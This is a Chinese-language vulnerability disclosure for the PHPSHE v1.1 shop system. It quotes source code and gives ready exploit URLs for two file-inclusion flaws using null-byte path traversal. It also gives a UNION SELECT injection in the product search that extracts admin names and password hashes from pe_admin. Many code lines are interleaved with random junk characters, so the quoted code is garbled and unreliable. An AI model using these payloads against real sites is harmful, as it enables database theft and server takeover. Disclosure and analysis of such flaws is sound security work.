phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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% T3 t2 v0 P9 n: f5 ]' n; |//common.php
4 |1 V2 S+ x% @5 M( O+ ?if (get_magic_quotes_gpc()) {
; V/ P5 U1 t& W9 ^( j, f!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 |( k7 Z7 L0 S: j  H( R}
else {
2 h$ B) u. U( x3 p1 A7 ]" p!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
+ X9 ~8 f- X% Z( k2 fsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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/ n- b9 `0 a1 R//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
  K9 q* ?& _4 V8 N- I7 [9 a/ z- Epe_result();
1 I/ ~4 K( c- A: N! H?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
; }8 E4 i  B  [- c+ U8 V$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
$ `0 Q" t0 ?- B7 F. m8 e( X9 y% m//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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9 K& H8 A& O0 }0 r; M7 f 0×02 搜索注入
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& ~1 E/ A! I; k<code id="code2">

//product.php文件
# O1 U6 A, M( `6 X$ l4 l5 ^: ]' xcase 'list':
2 f* c. [" t2 K+ ^; c- w9 t$category_id = intval($id);
( S( f: g! L1 A$info = $db->pe_select('category', array('category_id'=>$category_id));
8 ?; h( c; `, {! o' x7 l+ o//搜索
+ @" b$ d5 p. S' V. n& n0 E$ q$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
/ P- S7 o2 z; c, r; v5 p, Pif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" ]. a  C9 ^- ~# x}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& q2 j" p$ @, e2 N* [if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
* O6 C7 o- Z) T7 s1 b) B}
4 Y5 N1 j7 j  L& R0 O4 _$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
3 t3 P) N% X) B, s5 [# O5 M) S* H//热卖排行
' \0 _: U" h7 {' k5 M. j$product_hotlist = product_hotlist();
//当前路径
4 J# k8 U, i% Y- z2 A$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
! a! @$ r. j7 u8 L9 D1 x% Q$ s, P: f# Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 j) A+ K. q& t6 Z6 I{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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4 l0 f% I/ T3 G3 t) t" X+ W: R//exp
, m/ w2 X. J" G- J( nproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

" x! e% T' z& j! t4 r0 b2 {$order_id = pe_dbhold($_g_id);

  V( y# F5 o9 \0 Q$cache_payway = cache::get('payway');

* i' M1 E( C! yforeach($cache_payway as $k => $v) {

& B% y7 M/ \; a- ^4 h- r8 I5 }3 O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& u) Q% q6 [  L! f8 Q. M, A5 `, @& k9 _if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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! ?/ R2 ^. s9 R1 R- t$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

# N+ M& e* @5 [% S" j1 dif (isset($_p_pesubmit)) {

# U# S6 `; h0 A* n3 U! fif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

" M. c+ G7 l- [+ L6 ?$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

8 I+ ~# ~' y  ?! {+ J* Fforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

, `& w8 q+ U2 _! |. `8 `4 ^else {

) V: j0 C8 p4 T, X) Y* npe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

* y3 d; q1 W0 j: jbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>